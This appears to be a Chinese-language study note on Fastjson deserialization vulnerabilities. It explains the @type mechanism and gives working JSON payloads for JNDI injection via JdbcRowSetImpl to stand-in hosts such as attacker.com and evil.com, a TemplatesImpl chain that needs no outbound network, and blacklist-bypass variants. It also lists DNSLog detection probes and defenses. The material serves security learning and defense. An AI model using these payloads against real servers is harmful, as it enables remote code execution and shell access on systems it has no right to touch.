Fastjson 是阿里巴巴开源的 Java JSON 解析库,因为其功能强大(如自动类型识别、自定义类反序列化等),也成为漏洞频发的重灾区,尤其在反序列化方面
主要漏洞就是反序列化
反序列化
fastjson反序列化与weblogic、shiro反序列化类似,在客户端将json数据进行序列化传送至服务端后,服务端会将其反序列化读取其中数据,若客户端操控json数据,加入一些恶意类方法、代码,则可能会造成服务端代码执行。同时由于fastjson采用黑名单过滤的方式,也存在着被绕过的风险。
当前出现的fastjson反序列化漏洞由于无法做到回显,一般会使用ldap和rmi远程调用的方式来进行getshell。攻击机发送恶意payload来使漏洞服务端进行ldap或rmi远程调用,调用搭建好的ldap或rmi服务上所布置好的class类进而执行,从而实现shell反弹
面试最爱问不出网怎么办
| TemplatesImpl | 不出网 RCE | JDK 自带TemplatesImpl |
|---|---|---|
| BCEL ClassLoader | JDK ≤ 8u251 | 目标包含 BCEL 类 |
| 文件写入(Webshell) | 有文件写入权限 | 需二次请求 |
| Groovy/ScriptEngine | 目标安装 Groovy/JS 引擎 | 需特定环境 |
| 内存马注入 | Java Web 环境 | 需熟悉 Servlet API |
1. 漏洞原理
Fastjson 在解析 JSON 数据时,如果字段中包含 @type,会尝试将其转换为指定的 Java 类。例如:
{
"@type": "com.example.User",
"name": "test",
"age": 20
}
Fastjson 会尝试实例化 com.example.User 并填充字段。
漏洞触发条件
- 目标使用 JSON.parseObject() 或 JSON.parse() 解析不可信数据。
- AutoType 开启(默认开启,1.2.25 后需手动启用)。
- 存在可利用的恶意类(如 JdbcRowSetImpl、TemplatesImpl)。
2. 核心漏洞利用链
(1) JNDI 注入(依赖出网)
利用类:com.sun.rowset.JdbcRowSetImpl原理:该类的 setDataSourceName() 方法可触发 JNDI 查询,结合 LDAP/RMI 实现 RCE。Payload:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
利用步骤:
- 攻击者搭建恶意 LDAP/RMI 服务器(如使用 marshalsec)。
- 目标解析恶意 JSON 时,向攻击者服务器请求恶意类并执行。
(2) TemplatesImpl(不出网利用)
利用类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl原理:通过字节码加载直接执行任意 Java 代码(需目标环境有该类)。Payload:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意字节码Base64"],
"_name": "test",
"_tfactory": {}
}
特点:
- 不依赖外部网络(无 JNDI 请求)。
- 需构造合法的字节码(如通过 javac 编译恶意类)。
3. 历史绕过手法
(1) AutoType 黑名单绕过(1.2.25-1.2.47)
Fastjson 引入黑名单过滤危险类,但攻击者通过以下方式绕过:
-
L; 包裹类名(1.2.25-1.2.41):
{ "@type": "Lcom.sun.rowset.JdbcRowSetImpl;" } -
双写 LL;;(1.2.42):
{ "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;" } -
[ 包裹类名(1.2.43):
{ "@type": "[com.sun.rowset.JdbcRowSetImpl" }
(2) 缓存绕过(1.2.47)
利用 mappings 缓存机制加载黑名单类:
{
"a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" },
"b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://evil.com" }
}
4. 漏洞检测方法
(1) DNSLog 探测
{ "@type": "java.net.Inet4Address", "val": "dnslog-attacker.com" }
若目标解析该域名,说明存在漏洞。
(2) 报错回显
{ "@type": "java.lang.AutoCloseable" }
返回错误信息(如 AutoCloseable not found)则可能使用 Fastjson。
5. 防御措施
-
升级 Fastjson 到最新版(≥1.2.83)。
-
关闭 AutoType:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); -
使用白名单:
ParserConfig.getGlobalInstance().addAccept("com.safe.pkg."); -
替换库:使用 Gson 或 Jackson(需关闭不安全的配置)。